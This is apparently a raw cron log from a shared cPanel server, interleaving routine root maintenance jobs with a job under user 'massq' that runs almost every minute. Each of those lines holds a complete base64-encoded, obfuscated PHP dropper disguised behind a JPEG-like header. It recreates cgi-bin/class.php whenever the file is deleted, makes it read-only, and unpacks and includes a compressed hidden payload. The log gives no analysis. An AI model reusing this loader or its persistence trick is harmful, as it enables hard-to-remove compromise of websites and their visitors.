Nov 12 08:37:01 server CROND[9317]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:38:01 server CROND[10230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:39:01 server CROND[11080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:39:01 server CROND[11081]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 08:40:01 server CROND[11918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:40:01 server CROND[11920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:40:01 server CROND[11921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:40:01 server CROND[11919]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 08:41:01 server CROND[12803]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:42:01 server CROND[13626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:42:01 server CROND[13627]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 08:43:01 server CROND[14529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:44:01 server CROND[15272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:45:01 server CROND[16096]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:45:01 server CROND[16097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:45:01 server CROND[16098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:46:01 server CROND[16966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:47:01 server CROND[17784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:48:01 server CROND[18604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:49:01 server CROND[19504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:50:01 server CROND[20328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:50:01 server CROND[20330]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:50:01 server CROND[20331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 08:50:01 server CROND[20332]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
